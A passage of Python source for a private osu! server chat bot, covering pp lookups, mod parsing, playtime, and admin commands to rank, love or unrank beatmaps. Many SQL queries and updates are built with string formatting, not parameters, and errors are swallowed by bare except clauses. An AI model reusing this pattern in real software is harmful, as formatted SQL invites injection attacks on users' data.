glob.redis.get(\"lets:version\")\n\tif letsVersion is None:\n\t\tletsVersion = \"\\_(xd)_/\"\n\telse:\n\t\tletsVersion = letsVersion.decode(\"utf-8\")\n\tmsg = \"pep.py Vipsu server v{}\\n\".format(glob.VERSION)\n\tmsg += \"LETS scores server v{}\\n\".format(letsVersion)\n\tmsg += \"made by the Ripple team\\n\"\n\tmsg += \"modified by the Vipsu Team\\n\"\n\tmsg += \"\\n\"\n\tmsg += \"=== BANCHO STATS ===\\n\"\n\tmsg += \"Connected users: {}\\n\".format(data[\"connectedUsers\"])\n\tmsg += \"Multiplayer matches: {}\\n\".format(data[\"matches\"])\n\tmsg += \"Uptime: {}\\n\".format(data[\"uptime\"])\n\tmsg += \"\\n\"\n\tmsg += \"=== SYSTEM STATS ===\\n\"\n\tmsg += \"CPU: {}%\\n\".format(data[\"cpuUsage\"])\n\tmsg += \"RAM: {}GB/{}GB\\n\".format(data[\"usedMemory\"], data[\"totalMemory\"])\n\tif data[\"unix\"]:\n\t\tmsg += \"Load average: {}/{}/{}\\n\".format(data[\"loadAverage\"][0], data[\"loadAverage\"][1], data[\"loadAverage\"][2])\n\n\treturn msg\n\n\ndef getPPMessage(userID, just_data = False):\n\ttry:\n\t\t# Get user token\n\t\ttoken = glob.tokens.getTokenFromUserID(userID)\n\t\tif token is None:\n\t\t\treturn False\n\n\t\tcurrentMap = token.tillerino[0]\n\t\tcurrentMods = token.tillerino[1]\n\t\tcurrentAcc = token.tillerino[2]\n\n\t\t# Send request to LETS api\n\t\tresp = requests.get(\"http://127.0.0.1:5002/letsapi/v1/pp?b={}&m={}\".format(currentMap, currentMods), timeout=60).text\n\t\tdata = json.loads(resp)\n\n\t\t# Make sure status is in response data\n\t\tif \"status\" not in data:\n\t\t\traise exceptions.apiException\n\n\t\t# Make sure status is 200\n\t\tif data[\"status\"] != 200:\n\t\t\tif \"message\" in data:\n\t\t\t\treturn \"Error in LETS API call ({}).\".format(data[\"message\"])\n\t\t\telse:\n\t\t\t\traise exceptions.apiException\n\n\t\tif just_data:\n\t\t\treturn data\n\n\t\t# Return response in chat\n\t\t# Song name and mods\n\t\tmsg = \"{song}{plus}{mods} \".format(song=data[\"song_name\"], plus=\"+\" if currentMods > 0 else \"\", mods=generalUtils.readableMods(currentMods))\n\n\t\t# PP values\n\t\tif currentAcc == -1:\n\t\t\tmsg += \"95%: {pp95}pp | 98%: {pp98}pp | 99% {pp99}pp | 100%: {pp100}pp\".format(pp100=data[\"pp\"][0], pp99=data[\"pp\"][1], pp98=data[\"pp\"][2], pp95=data[\"pp\"][3])\n\t\telse:\n\t\t\tmsg += \"{acc:.2f}%: {pp}pp\".format(acc=token.tillerino[2], pp=data[\"pp\"][0])\n\n\t\toriginalAR = data[\"ar\"]\n\t\t# calc new AR if HR/EZ is on\n\t\tif (currentMods & mods.EASY) > 0:\n\t\t\tdata[\"ar\"] = max(0, data[\"ar\"] / 2)\n\t\tif (currentMods & mods.HARDROCK) > 0:\n\t\t\tdata[\"ar\"] = min(10, data[\"ar\"] * 1.4)\n\n\t\tarstr = \" ({})\".format(originalAR) if originalAR != data[\"ar\"] else \"\"\n\n\t\t# Beatmap info\n\t\tmsg += \" | {bpm} BPM | AR {ar}{arstr} | {stars:.2f} stars\".format(bpm=data[\"bpm\"], stars=data[\"stars\"], ar=data[\"ar\"], arstr=arstr)\n\n\t\t# Return final message\n\t\treturn msg\n\texcept requests.exceptions.RequestException:\n\t\t# RequestException\n\t\treturn \"API Timeout. Please try again in a few seconds.\"\n\texcept exceptions.apiException:\n\t\t# API error\n\t\treturn \"Unknown error in LETS API call.\"\n\t\"\"\"\n\texcept:\n\t\t# Unknown exception\n\t\t# TODO: print exception\n\t\treturn False\n\t\"\"\"\n\ndef tillerinoNp(fro, chan, message):\n\ttry:\n\t\t# Bloodcat trigger for #spect_\n\t\tif chan.startswith(\"#spect_\"):\n\t\t\tspectatorHostUserID = getSpectatorHostUserIDFromChannel(chan)\n\t\t\tspectatorHostToken = glob.tokens.getTokenFromUserID(spectatorHostUserID, ignoreIRC=True)\n\t\t\tif spectatorHostToken is None:\n\t\t\t\treturn False\n\t\t\treturn bloodcatMessage(fro, spectatorHostToken.beatmapID)\n\n\t\t# Run the command in PM only\n\t\tif chan.startswith(\"#\"):\n\t\t\treturn False\n\n\t\tplayWatch = message[1] == \"playing\" or message[1] == \"watching\"\n\t\t# Get URL from message\n\t\tif message[1] == \"listening\":\n\t\t\tbeatmapURL = str(message[3][1:])\n\t\telif playWatch:\n\t\t\tbeatmapURL = str(message[2][1:])\n\t\telse:\n\t\t\treturn False\n\n\t\tmodsEnum = 0\n\t\tmapping = {\n\t\t\t\"-Easy\": mods.EASY,\n\t\t\t\"-NoFail\": mods.NOFAIL,\n\t\t\t\"+Hidden\": mods.HIDDEN,\n\t\t\t\"+HardRock\": mods.HARDROCK,\n\t\t\t\"+Nightcore\": mods.NIGHTCORE,\n\t\t\t\"+DoubleTime\": mods.DOUBLETIME,\n\t\t\t\"-HalfTime\": mods.HALFTIME,\n\t\t\t\"+Flashlight\": mods.FLASHLIGHT,\n\t\t\t\"-SpunOut\": mods.SPUNOUT,\n\t\t\t\"~Relax~\": mods.RELAX\n\t\t}\n\n\t\tif playWatch:\n\t\t\tfor part in message:\n\t\t\t\tpart = part.replace(\"\\x01\", \"\")\n\t\t\t\tif part in mapping.keys():\n\t\t\t\t\tmodsEnum += mapping[part]\n\n\t\t# Get beatmap id from URL\n\t\tbeatmapID = fokabot.npRegex.search(beatmapURL).groups(0)[0]\n\n\t\t# Update latest tillerino song for current token\n\t\ttoken = glob.tokens.getTokenFromUsername(fro)\n\t\tif token is not None:\n\t\t\ttoken.tillerino = [int(beatmapID), modsEnum, -1.0]\n\t\tuserID = token.userID\n\n\t\t# Return tillerino message\n\t\treturn getPPMessage(userID)\n\texcept:\n\t\treturn False\n\t\t\ndef getTillerinoRecommendation(fro, chan, message):\n\ttry:\n\t\t# Run the command in PM only\n\t\tif chan.startswith(\"#\"):\n\t\t\treturn False\n\n\t\ttoken = glob.tokens.getTokenFromUsername(fro)\n\t\tuserID = token.userID\n\t\t\n\t\tl = glob.db.fetch(\"SELECT * from tillerino_maplists WHERE user = {}\".format(str(userID)))\n\t\ti = glob.db.fetch(\"SELECT * from tillerino_offsets WHERE user = {}\".format(str(userID)))\n\t\tif i is not None:\n\t\t\ti = i['offset']\n\t\t\tmaplist = l['maplist'].split(',')\n\t\t\tif(i >= len(maplist)):\n\t\t\t\treturn \"I have nothing to recommend you\"\n\t\t\tdata = None \n\t\t\twhile (data is None):\n\t\t\t\tmap = maplist[i]\n\t\t\t\ti += 1\n\t\t\t\tdata = glob.db.fetch(\"SELECT beatmaps.beatmap_id as bid, beatmaps.song_name as sn from beatmaps WHERE beatmap_md5 = \\'{}\\'\".format(map))\n\t\t\t\t\t\n\t\t\tmodsEnum = 0\n\t\t\tif token is not None:\n\t\t\t\ttoken.tillerino = [int(data[\"bid\"]), 0 , -1.0]\n\n\t\t\tglob.db.execute(\"UPDATE tillerino_offsets SET offset = {} WHERE user = {}\".format(str(i),str(userID)))\n\n\n\n\t # Return tillerino message\n\t\t\treturn getPPMessage(userID)\n\texcept Exception as a:\n\t\tlog.error(\"Unknown error in {}!\\n```{}\\n{}```\".format(\"fokabotCommands\", sys.exc_info(), traceback.format_exc()))\n\t\treturn False\t\t\n\n\ndef tillerinoMods(fro, chan, message):\n\ttry:\n\t\t# Run the command in PM only\n\t\tif chan.startswith(\"#\"):\n\t\t\treturn False\n\n\t\t# Get token and user ID\n\t\ttoken = glob.tokens.getTokenFromUsername(fro)\n\t\tif token is None:\n\t\t\treturn False\n\t\tuserID = token.userID\n\n\t\t# Make sure the user has triggered the bot with /np command\n\t\tif token.tillerino[0] == 0:\n\t\t\treturn \"Please give me a beatmap first with /np command.\"\n\n\t\t# Check passed mods and convert to enum\n\t\tmodsList = [message[0][i:i+2].upper() for i in range(0, len(message[0]), 2)]\n\t\tmodsEnum = 0\n\t\tfor i in modsList:\n\t\t\tif i not in [\"NO\", \"NF\", \"EZ\", \"HD\", \"HR\", \"DT\", \"HT\", \"NC\", \"FL\", \"SO\", \"RX\"]:\n\t\t\t\treturn \"Invalid mods. Allowed mods: NO, NF, EZ, HD, HR, DT, HT, NC, FL, SO, RX. Do not use spaces for multiple mods.\"\n\t\t\tif i == \"NO\":\n\t\t\t\tmodsEnum = 0\n\t\t\t\tbreak\n\t\t\telif i == \"NF\":\n\t\t\t\tmodsEnum += mods.NOFAIL\n\t\t\telif i == \"EZ\":\n\t\t\t\tmodsEnum += mods.EASY\n\t\t\telif i == \"HD\":\n\t\t\t\tmodsEnum += mods.HIDDEN\n\t\t\telif i == \"HR\":\n\t\t\t\tmodsEnum += mods.HARDROCK\n\t\t\telif i == \"DT\":\n\t\t\t\tmodsEnum += mods.DOUBLETIME\n\t\t\telif i == \"HT\":\n\t\t\t\tmodsEnum += mods.HALFTIME\n\t\t\telif i == \"NC\":\n\t\t\t\tmodsEnum += mods.NIGHTCORE\n\t\t\telif i == \"FL\":\n\t\t\t\tmodsEnum += mods.FLASHLIGHT\n\t\t\telif i == \"SO\":\n\t\t\t\tmodsEnum += mods.SPUNOUT\n\t\t\telif i == \"RX\":\n\t\t\t\tmodsEnum += mods.RELAX\n\t\t\t\"\"\" Disabled since we uhhhhhhhhhhh fuck ap\n\t\t\telif i == \"AP\":\n\t\t\t\tmodsEnum += mods.RELAX2\n\t\t\t\"\"\"\n\n\t\t# Set mods\n\t\ttoken.tillerino[1] = modsEnum\n\n\t\t# Return tillerino message for that beatmap with mods\n\t\treturn getPPMessage(userID)\n\texcept:\n\t\treturn False\n\ndef tillerinoAcc(fro, chan, message):\n\ttry:\n\t\t# Run the command in PM only\n\t\tif chan.startswith(\"#\"):\n\t\t\treturn False\n\n\t\t# Get token and user ID\n\t\ttoken = glob.tokens.getTokenFromUsername(fro)\n\t\tif token is None:\n\t\t\treturn False\n\t\tuserID = token.userID\n\n\t\t# Make sure the user has triggered the bot with /np command\n\t\tif token.tillerino[0] == 0:\n\t\t\treturn \"Please give me a beatmap first with /np command.\"\n\n\t\t# Convert acc to float\n\t\tacc = float(message[0])\n\n\t\t# Set new tillerino list acc value\n\t\ttoken.tillerino[2] = acc\n\n\t\t# Return tillerino message for that beatmap with mods\n\t\treturn getPPMessage(userID)\n\texcept ValueError:\n\t\treturn \"Invalid accuracy value. God dammit learn to type.\"\n\texcept:\n\t\treturn False\n\t\t\n#Hoshio Thing\n\ndef getBeatmapRequest(fro, chan, message): # Grab a random beatmap request. TODO: Add gamemode handling to this and !request\n\t\n\trequest = glob.db.fetch(\"SELECT * FROM rank_requests LIMIT 1;\")\n\tif request is not None:\n\t\tusername = userUtils.getUsername(request['userid'])\n\t\tmapData = glob.db.fetch(\"SELECT song_name, ranked FROM beatmaps WHERE beatmap_id = {} ORDER BY difficulty_std DESC LIMIT 1;\".format(request['bid']))\n\t\tglob.db.execute(\"DELETE FROM rank_requests WHERE id = {};\".format(request['id']))\n\t\treturn \"[https://revipsu.cf/u/{userID} {username}] nominated beatmap: [https://osu.ppy.sh/b/{beatmapID} {songName}] for status change. {VipsuBeatmapLink}The request has been deleted, so please decide it's status.\".format(userID=request['userid'], username=username, beatmapID=request['bid'], songName=mapData['song_name'], VipsuBeatmapLink='[https://revipsu.cf/b/{} Vipsu beatmap Link]. '.format(request['bid']))\n\telse:\n\t\treturn \"All nominations have been checked. Thank you for your hard work! :)\"\n\t\n\treturn \"The beatmap ranking system has been reworked.\"\n\ndef getPlaytime(fro, chan, message):\n\tuserID = userUtils.getID(fro)\n\n\tplaytime = userUtils.getPlaytimeTotal(userID)\n\tdelta = timedelta(seconds=int(playtime))\n\n\td = datetime(1,1,1) + delta\n\n\treturn '{}: Your total osu!Vipsu playtime (all gamemodes) is: {} days, {} hours, {} minutes, {} seconds.'.format(fro, d.day-1, d.hour, d.minute, d.second)\n\ndef toggleNotifications(fro, chan, message):\n\tuserID = userUtils.getID(fro)\n\n\tstatus = userUtils.toggleAkatsukiNotifications(userID)\n\n\tif status == 1:\n\t\treturn \"You should no longer see notifications of switching between regular and relax.\"\n\telif status == 0:\n\t\treturn \"You should now see notifications of switching between regular and relax.\"\n\telse:\n\t\treturn \"Something went wrong while trying to toggle your notifications.. This should never happen, so please contact Impairaiton directly.\"\n\ndef whitelistUserPPLimit(fro, chan, message):\n\tmessages = [m.lower() for m in message]\n\ttarget = message[0]\n\trelax = message[1]\n\n\tuserID = userUtils.getID(target)\n\n\tif userID == 0:\n\t\treturn \"That user does not exist.\"\n\n\tif 'x' in relax:\n\t\trx = True\n\telse:\n\t\trx = False\n\n\tuserUtils.whitelistUserPPLimit(userID, rx)\n\treturn \"{user} has been whitelisted from autorestrictions on {rx}.\".format(user=target, rx='relax' if rx else 'vanilla')\n\n\ndef fokabotRanking(fro, chan, message):\t\n\n\t# Put the gathered values into variables to be used later\n\tmessages = [m.lower() for m in message] #!map rank set 3298432874\n\trankType = message[0]\n\tmapType = message[1]\n\n\t# Get persons userID, privileges, and token\n\tuserID = userUtils.getID(fro)\n\tprivileges = userUtils.getPrivileges(userID)\n\ttoken = glob.tokens.getTokenFromUserID(userID)\n\tname = userUtils.getUsername(userID)\n\n\t# Only allow users to request maps in #admin channel or PMs with Mirai. Heavily reduced spam!\n\tif chan.startswith('#') and chan != '#admin' and not privileges & 8388608:\n\t\treturn \"Map ranking is not permitted in regular channels, please do so in PMs with FokaBot (or #admin if administrator).\"\n\n\tif token.tillerino[0] == 0:\n\t\treturn \"Please give me a beatmap first with /np command.\"\n\n\tmapID = token.tillerino[0]\n\n\t# Grab beatmapData from db\n\ttry:\n\t\tbeatmapData = glob.db.fetch(\"SELECT beatmapset_id, song_name, ranked FROM beatmaps WHERE beatmap_id = {} LIMIT 1\".format(mapID))\n\texcept:\n\t\treturn \"We could not find that beatmap. Perhaps check you are using the BeatmapID (not BeatmapSetID), and typed it correctly.\"\n\t\t\t\t\n\t# User is QAT\n\tif privileges & 256:\n\n\t\t# Figure out which ranked status we're requesting to\n\t\tif 'r' in rankType.lower() and 'u' not in rankType.lower():\n\t\t\trankType = 'rank'\n\t\t\trankTypeID = 2\n\t\t\tfreezeStatus = 1\n\t\telif 'l' in rankType.lower():\n\t\t\trankType = 'love'\n\t\t\trankTypeID = 5\n\t\t\tfreezeStatus = 1\n\t\telif 'u' in rankType.lower() or 'g' in rankType.lower():\n\t\t\trankType = 'unrank'\n\t\t\trankTypeID = 0\n\t\t\tfreezeStatus = 0\n\t\telse:\n\t\t\treturn \"Please enter a valid ranked status (rank, love, unrank).\"\n\n\t\tif beatmapData['ranked'] == rankTypeID:\n\t\t\treturn \"This map is already {}ed\".format(rankType)\n\n\t\tif mapType == 'set':\n\t\t\tnumDiffs = glob.db.fetch(\"SELECT COUNT(id) FROM beatmaps WHERE beatmapset_id = {}\".format(beatmapData[\"beatmapset_id\"]))\n\t\t\tglob.db.execute(\"UPDATE beatmaps SET ranked = {}, ranked_status_freezed = {}, rankedby = {} WHERE beatmapset_id = {} LIMIT {}\".format(rankTypeID, freezeStatus, userID, beatmapData[\"beatmapset_id\"], numDiffs[\"COUNT(id)\"]))\n\t\telse:\n\t\t\tglob.db.execute(\"UPDATE beatmaps SET ranked = {}, ranked_status_freezed = {}, rankedby = {} WHERE beatmap_id = {} LIMIT 1\".format(rankTypeID, freezeStatus, userID, mapID ))\n\n\t\t# Announce / Log to AP logs when ranked status is changed\n\t\tlog.rap(userID, \"has {}ed beatmap ({}): {} ({}).\".format(rankType, mapType, beatmapData[\"song_name\"], mapID), True)\n\t\tif mapType.lower() == 'set':\n\t\t\tmsg = \"{} has {}ed beatmap set: [https://osu.ppy.sh/s/{} {}]\".format(fro, rankType, beatmapData[\"beatmapset_id\"], beatmapData[\"song_name\"])\n\t\telse:\n\t\t\tmsg = \"{} has {}ed beatmap: [https://osu.ppy.sh/s/{} {}]\".format(fro, rankType, mapID, beatmapData[\"song_name\"])\n\n\t\tchat.sendMessage(glob.BOT_NAME, \"#announce\", msg)\n\t\tif rankType == \"love\":\n\t\t\tif mapType == \"set\":\n\t\t\t\twebhookDescription = \"{} (set) has been loved by {}\".format(beatmapData[\"song_name\"], name)\n\t\t\telse:\n\t\t\t\twebhookDescription = \"{} has been loved by {}\".format(beatmapData[\"song_name\"], name)\n\t\telse:\n\t\t\tif mapType == \"set\":\n\t\t\t\twebhookDescription = \"{} (set) has been {}ed by {}\".format(beatmapData[\"song_name\"], rankType, name)\n\t\t\telse:\n\t\t\t\twebhookDescription = \"{} has been {}ed by {}\".format(beatmapData[\"song_name\"], rankType, name)\n\n\t\twebhookHelper.postWebhookRanked(glob.conf.config[\"webhooks\"][\"ranked\"], args={\n\t\t\t\"color\": 0xf0ad4e,\n\t\t\t\"title\": \"New Ranked Map!\",\n\t\t\t\"title_url\": \"https://osu.ppy.sh/s/\" + str(beatmapData[\"beatmapset_id\"]),\n\t\t\t\"desc\": webhookDescription,\n\t\t\t\"image\": \"https://assets.ppy.sh/beatmaps/\" + str(beatmapData[\"beatmapset_id\"]) + \"/covers/cover.jpg\",\n\t\t\t\"author\": name,\n\t\t\t\"author_icon\": \"http://a.revipsu.cf/\" + str(userID),\n\t\t\t\"author_url\": \"http://revipsu.cf/u/\" + str(userID),\n\t\t})\n\t\treturn msg\n\ndef fokabotlove(fro, chan, message):\t\n\n\t# Put the gathered values into variables to be used later\n\tmessages = [m.lower() for m in message] #!map rank set 3298432874\n\tmapType = message[0]\n\n\t# Get persons userID, privileges, and token\n\tuserID = userUtils.getID(fro)\n\tprivileges = userUtils.getPrivileges(userID)\n\ttoken = glob.tokens.getTokenFromUserID(userID)\n\tname = userUtils.getUsername(userID)\n\n\t# Only allow users to request maps in #admin channel or PMs with Mirai. Heavily reduced spam!\n\tif chan.startswith('#') and chan != '#admin' and not privileges & 8388608:\n\t\treturn \"Map ranking is not permitted in regular channels, please do so in PMs with FokaBot (or #admin if administrator).\"\n\n\tif token.tillerino[0] == 0:\n\t\treturn \"Please give me a beatmap first with /np command.\"\n\n\tmapID = token.tillerino[0]\n\n\t# Grab beatmapData from db\n\ttry:\n\t\tbeatmapData = glob.db.fetch(\"SELECT beatmapset_id, song_name, ranked FROM beatmaps WHERE beatmap_id = {} LIMIT 1\".format(mapID))\n\texcept:\n\t\treturn \"We could not find that beatmap. Perhaps check you are using the BeatmapID (not BeatmapSetID), and typed it correctly.\"\n\t\t\t\t\n\t# User is QAT\n\tif privileges & 256:\n\n\t\trankType = 'love'\n\t\trankTypeID = 5\n\t\tblacklist = 0\n\t\tfreezeStatus = 2\n\n\t\tif beatmapData['ranked'] == rankTypeID:\n\t\t\treturn \"This map is already {}ed\".format(rankType)\n\n\t\tif mapType == 'set':\n\t\t\tnumDiffs = glob.db.fetch(\"SELECT COUNT(id) FROM beatmaps WHERE beatmapset_id = {}\".format(beatmapData[\"beatmapset_id\"]))\n\t\t\tglob.db.execute(\"UPDATE beatmaps SET ranked = {}, ranked_status_freezed = {}, blacklisted = {} WHERE beatmapset_id = {} LIMIT {}\".format(rankTypeID, freezeStatus, blacklist, beatmapData[\"beatmapset_id\"], numDiffs[\"COUNT(id)\"]))\n\t\t\tglob.db.execute(\"DELETE FROM rank_requests WHERE bid = {}\".format(beatmapData[\"beatmapset_id\"]))\n\t\telse:\n\t\t\tglob.db.execute(\"UPDATE beatmaps SET ranked = {}, ranked_status_freezed = {}, rankedby = {} WHERE beatmap_id = {} LIMIT 1\".format(rankTypeID, freezeStatus, userID, mapID ))\n\t\t\tglob.db.execute(\"DELETE FROM rank_requests WHERE bid = {}\".format(mapID))\n\n\t\t# Announce / Log to AP logs when ranked status is changed\n\t\tlog.rap(userID, \"has {}ed beatmap ({}): {} ({}).\".format(rankType, mapType, beatmapData[\"song_name\"], mapID), True)\n\t\tif mapType.lower() == 'set':\n\t\t\tmsg = \"{} has {}ed beatmap set: [https://osu.ppy.sh/s/{} {}]\".format(fro, rankType, beatmapData[\"beatmapset_id\"], beatmapData[\"song_name\"])\n\t\telse:\n\t\t\tmsg = \"{} has {}ed beatmap: [https://osu.ppy.sh/s/{} {}]\".format(fro, rankType, mapID, beatmapData[\"song_name\"])\n\n\t\tchat.sendMessage(glob.BOT_NAME, \"#nowranked\", msg)\n\t\tif mapType == \"set\":\n\t\t\twebhookDescription = \"{} (set) has been loved by {}\".format(beatmapData[\"song_name\"], name)\n\t\telse:\n\t\t\twebhookDescription = \"{} has been loved by {}\".format(beatmapData[\"song_name\"], name)\n\t\t\n\t\twebhookHelper.postWebhookLoved(glob.conf.config[\"webhooks\"][\"ranked\"], args={\n\t\t\t\"color\": 0xf0ad4e,\n\t\t\t\"title\": \"New Loved Map!\",\n\t\t\t\"title_url\": \"https://osu.ppy.sh/s/\" + str(beatmapData[\"beatmapset_id\"]),\n\t\t\t\"desc\": webhookDescription,\n\t\t\t\"image\": \"https://assets.ppy.sh/beatmaps/\" + str(beatmapData[\"beatmapset_id\"]) + \"/covers/cover.jpg\",\n\t\t\t\"author\": name,\n\t\t\t\"author_icon\": \"http://a.revipsu.cf/\" + str(userID),\n\t\t\t\"author_url\": \"http://revipsu.cf/u/\" + str(userID),\n\t\t})\n\t\treturn msg\n\t\t\ndef fokabotunrank(fro, chan, message):\t\n\n\t# Put the gathered values into variables to be used later\n\tmessages = [m.lower() for m in message] #!map rank set 3298432874\n\tmapType = message[0]\n\n\t# Get persons userID, privileges, and token\n\tuserID = userUtils.getID(fro)\n\tprivileges = userUtils.getPrivileges(userID)\n\ttoken = glob.tokens.getTokenFromUserID(userID)\n\tname = userUtils.getUsername(userID)\n\n\t# Only allow users to request maps in #admin channel or PMs with Mirai. Heavily reduced spam!\n\tif chan.startswith('#') and chan != '#admin' and not privileges & 8388608:\n\t\treturn \"Map ranking is not permitted in regular channels, please do so in PMs with FokaBot (or #admin if administrator).\"\n\n\tif token.tillerino[0] == 0:\n\t\treturn \"Please give me a beatmap first with /np command.\"\n\n\tmapID = token.tillerino[0]\n\n\t# Grab beatmapData from db\n\ttry:\n\t\tbeatmapData = glob.db.fetch(\"SELECT beatmapset_id, song_name, ranked FROM beatmaps WHERE beatmap_id = {} LIMIT 1\".format(mapID))\n\texcept:\n\t\treturn \"We could not find that beatmap. Perhaps check you are using the BeatmapID (not BeatmapSetID), and typed it correctly.\"\n\t\t\t\t\n\t# User is QAT\n\tif privileges & 256:\n\n\t\trankType = 'unrank'\n\t\trankTypeID = 0\n\t\tblacklist = 1\n\t\tfreezeStatus = 0\n\n\t\tif beatmapData['ranked'] == rankTypeID:\n\t\t\treturn \"This map is already {}ed\".format(rankType)\n\n\t\tif mapType == 'set':\n\t\t\tnumDiffs = glob.db.fetch(\"SELECT COUNT(id) FROM beatmaps WHERE beatmapset_id = {}\".format(beatmapData[\"beatmapset_id\"]))\n\t\t\tglob.db.execute(\"UPDATE beatmaps SET ranked = {}, ranked_status_freezed = {}, blacklisted = {} WHERE beatmapset_id = {} LIMIT {}\".format(rankTypeID, freezeStatus, blacklist, beatmapData[\"beatmapset_id\"], numDiffs[\"COUNT(id)\"]))\n\t\t\tglob.db.execute(\"DELETE FROM rank_requests WHERE bid = {}\".format(beatmapData[\"beatmapset_id\"]))\n\t\telse:\n\t\t\tglob.db.execute(\"UPDATE beatmaps SET ranked = {}, ranked_status_freezed = {}, blacklisted = {} WHERE beatmap_id = {} LIMIT 1\".format(rankTypeID, freezeStatus, blacklist, mapID))\n\t\t\tglob.db.execute(\"DELETE FROM rank_requests WHERE bid = {}\".format(mapID))\n\t\n\t\t# Announce / Log to AP logs when ranked status is changed\n\t\tlog.rap(userID, \"has {}ed beatmap ({}): {} ({}).\".format(rankType, mapType, beatmapData[\"song_name\"], mapID), True)\n\t\tif mapType.lower() == 'set':\n\t\t\tmsg = \"{} has {}ed beatmap set: [https://osu.ppy.sh/s/{} {}]\".format(fro, rankType, beatmapData[\"beatmapset_id\"], beatmapData[\"song_name\"])\n\t\telse:\n\t\t\tmsg = \"{} has {}ed beatmap: [https://osu.ppy.sh/s/{} {}]\".format(fro, rankType, mapID, beatmapData[\"song_name\"])\n\n\t\tchat.sendMessage(glob.BOT_NAME, \"#nowranked\", msg)\n\t\tif mapType == \"set\":\n\t\t\twebhookDescription = \"{} (set) has been unranked by {}\".format(beatmapData[\"song_name\"], name)\n\t\telse:\n\t\t\twebhookDescription = \"{} has been uranked by {}\".format(beatmapData[\"song_name\"], name)\n\t\t\n\t\twebhookHelper.postWebhookUnranked(glob.conf.config[\"webhooks\"][\"ranked\"], args={\n\t\t\t\"color\": 0xf0ad4e,\n\t\t\t\"title\": \"New unranked Map!\",\n\t\t\t\"title_url\": \"https://osu.ppy.sh/s/\" + str(beatmapData[\"beatmapset_id\"]),\n\t\t\t\"desc\": webhookDescription,\n\t\t\t\"image\": \"https://assets.ppy.sh/beatmaps/\" + str(beatmapData[\"beatmapset_id\"]) + \"/covers/cover.jpg\",\n\t\t\t\"author\": name,\n\t\t\t\"author_icon\": \"http://a.revipsu.cf/\" + str(userID),\n\t\t\t\"author_url\": \"http://revipsu.cf/u/\" + str(userID),\n\t\t})\n\t\treturn msg\t\t\n\t\t\ndef fokabotrank(fro, chan, message):\t\n\n\t# Put the gathered values into variables to be used later\n\tmessages = [m.lower() for m in message] #!map rank set 3298432874\n\tmapType = message[0]\n\n\t# Get persons userID, privileges, and token\n\tuserID = userUtils.getID(fro)\n\tprivileges = userUtils.getPrivileges(userID)\n\ttoken = glob.tokens.getTokenFromUserID(userID)\n\tname = userUtils.getUsername(userID)\n\n\t# Only allow users to request maps in #admin channel or PMs with Mirai. Heavily reduced spam!\n\tif chan.startswith('#') and chan != '#admin' and not privileges & 8388608:\n\t\treturn \"Map ranking is not permitted in regular channels, please do so in PMs with FokaBot (or #admin if administrator).\"\n\n\tif token.tillerino[0] == 0:\n\t\treturn \"Please give me a beatmap first with /np command.\"\n\n\tmapID = token.tillerino[0]\n\n\t# Grab beatmapData from db\n\ttry:\n\t\tbeatmapData = glob.db.fetch(\"SELECT beatmapset_id, song_name, ranked FROM beatmaps WHERE beatmap_id = {} LIMIT 1\".format(mapID))\n\texcept:\n\t\treturn \"We could not find that beatmap. Perhaps check you are using the BeatmapID (not BeatmapSetID), and typed it correctly.\"\n\t\t\t\t\n\t# User is QAT\n\tif privileges & 256:\n\n\t\trankType = 'rank'\n\t\tblacklist = 0\n\t\trankTypeID = 2\n\t\tfreezeStatus = 1\n\n\t\tif beatmapData['ranked'] == rankTypeID:\n\t\t\treturn \"This map is already {}ed\".format(rankType)\n\n\t\tif mapType == 'set':\n\t\t\tnumDiffs = glob.db.fetch(\"SELECT COUNT(id) FROM beatmaps WHERE beatmapset_id = {}\".format(beatmapData[\"beatmapset_id\"]))\n\t\t\tglob.db.execute(\"UPDATE beatmaps SET ranked = {}, ranked_status_freezed = {}, rankedby = {} WHERE beatmapset_id = {} LIMIT {}\".format(rankTypeID, freezeStatus, userID, beatmapData[\"beatmapset_id\"], numDiffs[\"COUNT(id)\"]))\n\t\t\tglob.db.execute(\"DELETE FROM rank_requests WHERE bid = {}\".format(beatmapData[\"beatmapset_id\"]))\n\t\telse:\n\t\t\tglob.db.execute(\"UPDATE beatmaps SET ranked = {}, ranked_status_freezed = {}, rankedby = {} WHERE beatmap_id = {} LIMIT 1\".format(rankTypeID, freezeStatus, userID, mapID ))\n\t\t\tglob.db.execute(\"DELETE FROM rank_requests WHERE bid = {}\".format(mapID))\n\n\t\t# Announce / Log to AP logs when ranked status is changed\n\t\tlog.rap(userID, \"has {}ed beatmap ({}): {} ({}).\".format(rankType, mapType, beatmapData[\"song_name\"], mapID), True)\n\t\tif mapType.lower() == 'set':\n\t\t\tmsg = \"{} has {}ed beatmap set: [https://osu.ppy.sh/s/{} {}]\".format(fro, rankType, beatmapData[\"beatmapset_id\"], beatmapData[\"song_name\"])\n\t\telse:\n\t\t\tmsg = \"{} has {}ed beatmap: [https://osu.ppy.sh/s/{} {}]\".format(fro, rankType, mapID, beatmapData[\"song_name\"])\n\n\t\tchat.sendMessage(glob.BOT_NAME, \"#nowranked\", msg)\n\t\tif mapType == \"set\":\n\t\t\twebhookDescription = \"{} (set) has been ranked by {}\".format(beatmapData[\"song_name\"], name)\n\t\telse:\n\t\t\twebhookDescription = \"{} has been ranked by {}\".format(beatmapData[\"song_name\"], name)\n\t\t\n\t\twebhookHelper.postWebhookRanked(glob.conf.config[\"webhooks\"][\"ranked\"], args={\n\t\t\t\"color\": 0xf0ad4e,\n\t\t\t\"title\": \"New Ranked Map!\",\n\t\t\t\"title_url\": \"https://osu.ppy.sh/s/\" + str(beatmapData[\"beatmapset_id\"]),\n\t\t\t\"desc\": webhookDescription,\n\t\t\t\"image\": \"https://assets.ppy.sh/beatmaps/\" + str(beatmapData[\"beatmapset_id\"]) + \"/covers/cover.jpg\",\n\t\t\t\"author\": name,\n\t\t\t\"author_icon\": \"http://a.revipsu.cf/\" + str(userID),\n\t\t\t\"author_url\": \"http://revipsu.cf/u/\" + str(userID),\n\t\t})\n\t\treturn msg\t\t\n\ndef tillerinoLast(fro, chan, message):\n\ttry:\n\t\t# Run the command in PM only\n\t\tif chan.startswith(\"#\"):\n\t\t\treturn False\n\n\t\tdata = glob.db.fetch(\"\"\"SELECT beatmaps.song_name as sn, scores.*,\n\t\t\tbeatmaps.beatmap_id as bid, beatmaps.difficulty_std, beatmaps.difficulty_taiko, beatmaps.difficulty_ctb, beatmaps.difficulty_mania, beatmaps.max_combo as fc\n\t\tFROM scores\n\t\tLEFT JOIN beatmaps ON beatmaps.beatmap_md5=scores.beatmap_md5\n\t\tLEFT JOIN users ON users.id = scores.userid\n\t\tWHERE users.username = %s\n\t\tORDER 